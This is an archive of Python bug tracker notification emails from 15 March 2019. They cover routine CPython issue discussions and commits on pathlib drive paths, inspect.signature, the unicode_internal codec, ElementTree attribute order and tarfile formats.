From report at bugs.python.org  Fri Mar 15 10:11:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 14:11:58 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552659118.63.0.303407876694.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12313

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Fri Mar 15 10:16:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 14:16:44 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552659404.01.0.371053422112.issue36235@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12314

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar 15 10:19:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 14:19:36 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552659576.22.0.178390518946.issue36235@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12315

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar 15 10:36:17 2019
From: report at bugs.python.org (Paul Moore)
Date: Fri, 15 Mar 2019 14:36:17 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552660577.12.0.328259531259.issue36010@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

:-) I assume as we're at rc1, it's too late for 3.7.3, but it could be aimed at 3.7.4. I might try to have a look at it if no-one else does.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:03:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 15:03:28 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552662208.36.0.11884610491.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 625997622b4736e9184bdd8bf1e22a7b51be1afc by Victor Stinner in branch 'master':
bpo-36301: _PyCoreConfig_Read() ensures that argv is not empty (GH-12347)
https://github.com/python/cpython/commit/625997622b4736e9184bdd8bf1e22a7b51be1afc


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:03:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 15:03:46 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552662226.88.0.419600131119.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 37f6971777c05b5ca9c157606896b7ff458756a5 by Victor Stinner in branch '2.7':
bpo-36235: Fix CFLAGS in distutils customize_compiler() (GH-12236) (GH-12349)
https://github.com/python/cpython/commit/37f6971777c05b5ca9c157606896b7ff458756a5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:03:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 15:03:53 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552662233.03.0.297950873373.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 6c0e0d141a07cc3fd2441d9df8d762f56bf7edf2 by Victor Stinner in branch '3.7':
bpo-36235: Fix CFLAGS in distutils customize_compiler() (GH-12236) (GH-12348)
https://github.com/python/cpython/commit/6c0e0d141a07cc3fd2441d9df8d762f56bf7edf2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:04:23 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 15:04:23 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552662263.8.0.382041088748.issue33608@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset e3f4070aee6f2d489416fdcafd51d6b04d661919 by Victor Stinner in branch 'master':
bpo-33608: Fix PyEval_InitThreads() warning (GH-12346)
https://github.com/python/cpython/commit/e3f4070aee6f2d489416fdcafd51d6b04d661919


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:10:43 2019
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz?=)
Date: Fri, 15 Mar 2019 15:10:43 +0000
Subject: [issue36303] Trying to change values (fe. "To",
 "From") of email.mime.text.MIMEText after initial assigment silently
 doesn't change them.
In-Reply-To: <1552655900.57.0.530825702843.issue36303@roundup.psfhosted.org>
Message-ID: <1552662643.38.0.417694111792.issue36303@roundup.psfhosted.org>


?ukasz <fotoblysk at fejm.pl> added the comment:

Ok, so this is not a bug, I must missed this information in documentation.

In my defense this usage of `__getitem__` and `__setitem__` feels a little bit counter-intuitive.

Sorry bothering.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36303>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:18:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 15:18:08 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552663088.13.0.925124747011.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12316

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:23:21 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 15 Mar 2019 15:23:21 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1552660577.12.0.328259531259.issue36010@roundup.psfhosted.org>
Message-ID: <9ce94d56-412b-5e69-ecbd-e65587ed1ce7@python.org>


Steve Dower <steve.dower at python.org> added the comment:

> :-) I assume as we're at rc1, it's too late for 3.7.3, but it could be aimed at 3.7.4. I might try to have a look at it if no-one else does.

If Ned's okay with cherry-picking the change I have no problems with 
taking it still. It's just a default option change in the layout script, 
and I know the option works. At worst, we'll go from "venv not found" 
errors to "venv is broken" errors.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:34:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 15:34:25 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552664065.65.0.849072214596.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12317

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:37:05 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Fri, 15 Mar 2019 15:37:05 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
Message-ID: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>


New submission from Maor Kleinberger <kmaork at gmail.com>:

The behavior of WindowsPath is undefined when used with drive paths, specifically with no trailing slash:

WindowsPath('cc:').absolute() -> WindowsPath('C:/Users/maor/cc:')
WindowsPath('c:').absolute() -> WindowsPath('c:') 
WindowsPath('c:').is_absolute() -> False
WindowsPath('c:') / 'p' -> WindowsPath('c:p')
WindowsPath('c:p').absolute() -> WindowsPath('c:p')
WindowsPath('c:p').is_absolute() -> False

----------
components: Library (Lib)
messages: 337999
nosy: kmaork
priority: normal
severity: normal
status: open
title: Inconsistent behavior of pathlib.WindowsPath with drive paths
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:00:57 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 15 Mar 2019 16:00:57 +0000
Subject: [issue36127] Argument Clinic: inline parsing code for functions with
 keyword parameters
In-Reply-To: <1551202236.03.0.123634318665.issue36127@roundup.psfhosted.org>
Message-ID: <1552665657.22.0.667923747082.issue36127@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
pull_requests: +12318

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36127>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:35:33 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 15 Mar 2019 16:35:33 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>
Message-ID: <1552667733.26.0.898171624159.issue36297@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

What is the purpose of the unicode-internal codec at first place?

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:41:33 2019
From: report at bugs.python.org (Gianluca)
Date: Fri, 15 Mar 2019 16:41:33 +0000
Subject: [issue36304] When using bz2 and lzma in mode 'wt',
 the BOM is not written
In-Reply-To: <1552655943.64.0.213784898243.issue36304@roundup.psfhosted.org>
Message-ID: <1552668093.62.0.797238788128.issue36304@roundup.psfhosted.org>


Gianluca <gianluca.gippetto at gmail.com> added the comment:

As one can read in the stackoverflow answer, using _pyio.TextIOWrapper works as expected. So it looks like this is a bug of _io.TextIOWrapper.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36304>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:44:25 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Fri, 15 Mar 2019 16:44:25 +0000
Subject: [issue36306] inspect.signature(math.log) raises ValueError
Message-ID: <1552668265.07.0.311567846773.issue36306@roundup.psfhosted.org>


New submission from R?mi Lapeyre <remi.lapeyre at henki.fr>:

>>> import math, inspect
>>> inspect.signature(math.log)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/remi/src/cpython/Lib/inspect.py", line 3081, in signature
    return Signature.from_callable(obj, follow_wrapped=follow_wrapped)
  File "/Users/remi/src/cpython/Lib/inspect.py", line 2830, in from_callable
    return _signature_from_callable(obj, sigcls=cls,
  File "/Users/remi/src/cpython/Lib/inspect.py", line 2284, in _signature_from_callable
    return _signature_from_builtin(sigcls, obj,
  File "/Users/remi/src/cpython/Lib/inspect.py", line 2109, in _signature_from_builtin
    raise ValueError("no signature found for builtin {!r}".format(func))
ValueError: no signature found for builtin <built-in function log>
>>>

This is the only function from math to do so, it may be related to issue    29299 but the patch from Victor Stinner does not fix this.

----------
components: Argument Clinic
messages: 338002
nosy: larry, remi.lapeyre
priority: normal
severity: normal
status: open
title: inspect.signature(math.log) raises ValueError
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36306>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:47:22 2019
From: report at bugs.python.org (Harry Seeber)
Date: Fri, 15 Mar 2019 16:47:22 +0000
Subject: [issue36296] distutils.version.StrictVersion objects cannot be
 compared with distutils.version.LooseVersionobjects
In-Reply-To: <1552606351.95.0.905536751343.issue36296@roundup.psfhosted.org>
Message-ID: <CABxgh5OK6V6Whzwb81UQqAgdF-ybq7SZwCjRbNkYMQgMNWp=Ow@mail.gmail.com>


Harry Seeber <harry.seeber at gusto.com> added the comment:

I'm using these classes directly to parse semantic-ish versions in metadata
for Munki packages (a package manager for MacOS). Looks like this packaging
library is what I should use. Thanks you!

On Thu, Mar 14, 2019 at 5:32 PM ?ric Araujo <report at bugs.python.org> wrote:

>
> ?ric Araujo <merwok at netwok.org> added the comment:
>
> Hello!  Are you seeing this problem when building or installing some
> package, or are you using the classes directly?
>
> If it?s the latter, I would recommand you to use
> https://pypi.org/project/packaging/ rather than distutils, which is not
> meant to be used as a generic library.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36296>
> _______________________________________
>

-- 

Harry Seeber

IT Support | Gusto <http://gusto.com/>

Gusto | all-in-one platform for HR, payroll, and benefits

noun (guhs-toh)

great enjoyment, energy, and enthusiasm

ex: Harry's cat Edgar pounces upon butterflies #withGusto

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36296>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:49:28 2019
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Fri, 15 Mar 2019 16:49:28 +0000
Subject: [issue36296] distutils.version.StrictVersion objects cannot be
 compared with distutils.version.LooseVersionobjects
In-Reply-To: <1552605329.57.0.55093575927.issue36296@roundup.psfhosted.org>
Message-ID: <1552668568.91.0.338741283205.issue36296@roundup.psfhosted.org>


?ric Araujo <merwok at netwok.org> added the comment:

OK!

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36296>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:51:45 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 15 Mar 2019 16:51:45 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552667733.26.0.898171624159.issue36297@roundup.psfhosted.org>
Message-ID: <3679ae71-52b8-292f-0803-47b8c20b6d09@egenix.com>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

On 15.03.2019 17:35, Serhiy Storchaka wrote:
> 
> What is the purpose of the unicode-internal codec at first place?

It provides a fast and direct access to the internal representation of
Unicode used in Python to the outside world.

----------
nosy: +lemburg

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From mal at egenix.com  Fri Mar 15 12:51:42 2019
From: mal at egenix.com (M.-A. Lemburg)
Date: Fri, 15 Mar 2019 17:51:42 +0100
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552667733.26.0.898171624159.issue36297@roundup.psfhosted.org>
References: <1552667733.26.0.898171624159.issue36297@roundup.psfhosted.org>
Message-ID: <3679ae71-52b8-292f-0803-47b8c20b6d09@egenix.com>

On 15.03.2019 17:35, Serhiy Storchaka wrote:
> 
> What is the purpose of the unicode-internal codec at first place?

It provides a fast and direct access to the internal representation of
Unicode used in Python to the outside world.

-- 
Marc-Andre Lemburg
eGenix.com


From report at bugs.python.org  Fri Mar 15 12:55:22 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 15 Mar 2019 16:55:22 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>
Message-ID: <1552668922.9.0.186228022586.issue36297@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Is it for debugging only?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:55:54 2019
From: report at bugs.python.org (Eryk Sun)
Date: Fri, 15 Mar 2019 16:55:54 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1552668954.79.0.363171160123.issue36305@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> WindowsPath('cc:').absolute() -> WindowsPath('C:/Users/maor/cc:')

This is correct. "cc:" is not a drive, i.e. the `drive` attribute is an empty string. pathlib handles this as an unqualified filename that gets resolved relative to the process current working directory. 

Note that Windows allows a trailing colon for DOS devices such as "con:". Colons can also be used for file streams, but "cc:" isn't valid. The anonymous stream can only be specified explicitly by including the stream type, e.g. "cc::$DATA".

> WindowsPath('c:').is_absolute() -> False
> WindowsPath('c:p').is_absolute() -> False
> WindowsPath('c:') / 'p' -> WindowsPath('c:p')

These are correct. Drive-relative paths depend on the current working directory of the drive. By definition they cannot be absolute. And the last one can be no more resolved than WindowsPath('spam/eggs') / 'p'. 

Note that Windows gets the working directory for drives from 'hidden' environment variables such as "=C:". If no value is set for a drive, it defaults to the root directory. Windows uses these values, but never sets them itself. Applications and libraries such as the C runtime library are responsible for setting the values. CMD and Python both set them, but PowerShell does not. 

> WindowsPath('c:').absolute() -> WindowsPath('c:') 
> WindowsPath('c:p').absolute() -> WindowsPath('c:p')

This is a bug. absolute() should resolve "C:" to the current directory on the drive and join it with the remaining parts.

----------
nosy: +eryksun
stage:  -> test needed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Fri Mar 15 13:04:03 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 15 Mar 2019 17:04:03 +0000
Subject: [issue36306] inspect.signature(math.log) raises ValueError
In-Reply-To: <1552668265.07.0.311567846773.issue36306@roundup.psfhosted.org>
Message-ID: <1552669443.77.0.660019739703.issue36306@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

It's the only function with an optional argument in math, on 3.7 all such function result in ValueError, e.g. getattr, iter, max.

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36306>
_______________________________________

From report at bugs.python.org  Fri Mar 15 13:05:40 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 15 Mar 2019 17:05:40 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552668922.9.0.186228022586.issue36297@roundup.psfhosted.org>
Message-ID: <f5d255c2-531f-be6c-76c5-108062fa9425@egenix.com>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

On 15.03.2019 17:55, Serhiy Storchaka wrote:
> Is it for debugging only?

No, you can use it to store Unicode object as-is without any
encoding/decoding, but after the recent changes to the internals
of the Unicode implementation it's not all that useful anymore,
since we now have per object state which is not reflected by the
codec.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Fri Mar 15 13:07:04 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 15 Mar 2019 17:07:04 +0000
Subject: [issue36306] inspect.signature(math.log) raises ValueError
In-Reply-To: <1552668265.07.0.311567846773.issue36306@roundup.psfhosted.org>
Message-ID: <1552669624.2.0.632009577515.issue36306@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

In fact, I don't see anything warranting a separate issue. I'd suggest to close this and perhaps ping Larry instead on the issue 29299 which you mentioned.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36306>
_______________________________________

From report at bugs.python.org  Fri Mar 15 13:16:11 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Fri, 15 Mar 2019 17:16:11 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1552670171.13.0.608325338088.issue36305@roundup.psfhosted.org>


Maor Kleinberger <kmaork at gmail.com> added the comment:

I agree.
So I'll open a PR that will:
1. Make the .absolute method return correct values in these cases
2. Add a regression test for this behavior

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Fri Mar 15 13:22:08 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Fri, 15 Mar 2019 17:22:08 +0000
Subject: [issue36306] inspect.signature(math.log) raises ValueError
In-Reply-To: <1552668265.07.0.311567846773.issue36306@roundup.psfhosted.org>
Message-ID: <1552670528.84.0.984388350048.issue36306@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Yes you are right, this is actually the same issue. I will try to look for the other attempts Serhiy Storchaka talks about in issue 29299 and ping Larry on this issue.

(I can't set the superseeded flag on this issue thought)

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36306>
_______________________________________

From report at bugs.python.org  Fri Mar 15 13:24:08 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 15 Mar 2019 17:24:08 +0000
Subject: [issue36306] inspect.signature(math.log) raises ValueError
In-Reply-To: <1552668265.07.0.311567846773.issue36306@roundup.psfhosted.org>
Message-ID: <1552670648.73.0.92945600675.issue36306@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
superseder:  -> Argument Clinic: Fix signature of optional positional-only arguments
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36306>
_______________________________________

From report at bugs.python.org  Fri Mar 15 14:29:55 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 18:29:55 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552674595.42.0.963162183994.issue34160@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
pull_requests: +12319

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Fri Mar 15 14:32:37 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 18:32:37 +0000
Subject: [issue30661] Support tarfile.PAX_FORMAT in shutil.make_archive
In-Reply-To: <1497403539.2.0.760105950979.issue30661@psf.upfronthosting.co.za>
Message-ID: <1552674757.11.0.372112132403.issue30661@roundup.psfhosted.org>


Change by C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:


----------
keywords: +patch
pull_requests: +12321
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30661>
_______________________________________

From report at bugs.python.org  Fri Mar 15 14:32:37 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 18:32:37 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1552674757.06.0.374200616688.issue36268@roundup.psfhosted.org>


Change by C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:


----------
keywords: +patch
pull_requests: +12320
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Fri Mar 15 14:34:17 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 18:34:17 +0000
Subject: [issue36266] Which module could not be found?
In-Reply-To: <1552340612.47.0.515886786831.issue36266@roundup.psfhosted.org>
Message-ID: <1552674857.77.0.143988379575.issue36266@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Phillip, when responding by email, please removed the quoted email (except possible for a line or 2) as it becomes noise when your email is placed on the web page.  You can see the effect on https://bugs.python.org/issue36266

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Fri Mar 15 14:52:19 2019
From: report at bugs.python.org (Larry Hastings)
Date: Fri, 15 Mar 2019 18:52:19 +0000
Subject: [issue29299] Argument Clinic: Fix signature of optional
 positional-only arguments
In-Reply-To: <1484666234.33.0.914406658402.issue29299@psf.upfronthosting.co.za>
Message-ID: <1552675939.93.0.454101439298.issue29299@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:

Argument Clinic can currently only generate signatures for functions whose signatures can be represented in Python.  This is because the signatures are parsed by the inspect module, which in turn uses the ast module to generate a parse tree; it then examines the parse tree and uses that to generate the Signature object.

(By the time you see a signature of a function using inspect, the signature has actually made a round-trip through the ast module, been turned into a Signature object, then str() has been run on it to re-generate the text representation from scratch.  The fact that it's usually identical to the original text signature buried in the function's docstring is a happy accident.)

Changing Argument Clinic to generate signatures with square brackets in them to signify optional parameters is insufficient.  You'd also have to upgrade inspect to support this new syntax--otherwise there'd be no point.  And *that* would be a lot of code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29299>
_______________________________________

From report at bugs.python.org  Fri Mar 15 14:59:01 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 18:59:01 +0000
Subject: [issue36293] Nonblocking read sys.stdin raises error
In-Reply-To: <1552578635.55.0.427957631553.issue36293@roundup.psfhosted.org>
Message-ID: <1552676341.79.0.836392180981.issue36293@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Martin, did you mean to close this as a duplicate?

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36293>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:02:13 2019
From: report at bugs.python.org (flow2k)
Date: Fri, 15 Mar 2019 19:02:13 +0000
Subject: [issue36246] csv.writer lineterminator affects csv escaping
In-Reply-To: <1552082392.37.0.332267389905.issue36246@roundup.psfhosted.org>
Message-ID: <1552676533.66.0.270069283943.issue36246@roundup.psfhosted.org>


flow2k <sunflow2k at gmail.com> added the comment:

Okay, thanks for pointing to the doc. I did not expect the line termination to affect escaping, but I can see why these may be related. 

Per your comment, I've added quoting=csv.QUOTE_NONNUMERIC. Instead of Excel, I am using Gdocs, and this escaping enables Gsheets to ingest it.

Closing the issue...

----------
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36246>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:04:14 2019
From: report at bugs.python.org (Diego Rojas)
Date: Fri, 15 Mar 2019 19:04:14 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552676654.49.0.135607093614.issue34160@roundup.psfhosted.org>


Diego Rojas <rojastorrado at gmail.com> added the comment:

St?phane, According to you PR, I agree that is a good approach give the option to the user if wants sorted or not the attributes. But in this thread, is discussed that there is not necessary and leaves as default that the attributes preserve the order.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:11:12 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 19:11:12 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552677072.95.0.836016087074.issue34160@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Diego,

Victor indicates that we could propose an option to the user

```
* I cannot see the change documented anywhere in https://docs.python.org/dev/whatsnew/3.8.html
* I don't see any simple workaround. It would be nice to add an opt-in option to sort attributes just to get Python 3.7 behavior.
```

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:13:57 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 15 Mar 2019 19:13:57 +0000
Subject: [issue36290] _ast.ast_type_init does not handle args and kwargs
 correctly.
In-Reply-To: <1552574839.1.0.4927355759.issue36290@roundup.psfhosted.org>
Message-ID: <1552677237.95.0.889696809821.issue36290@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
nosy: +benjamin.peterson, brett.cannon, serhiy.storchaka, yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36290>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:18:16 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 19:18:16 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
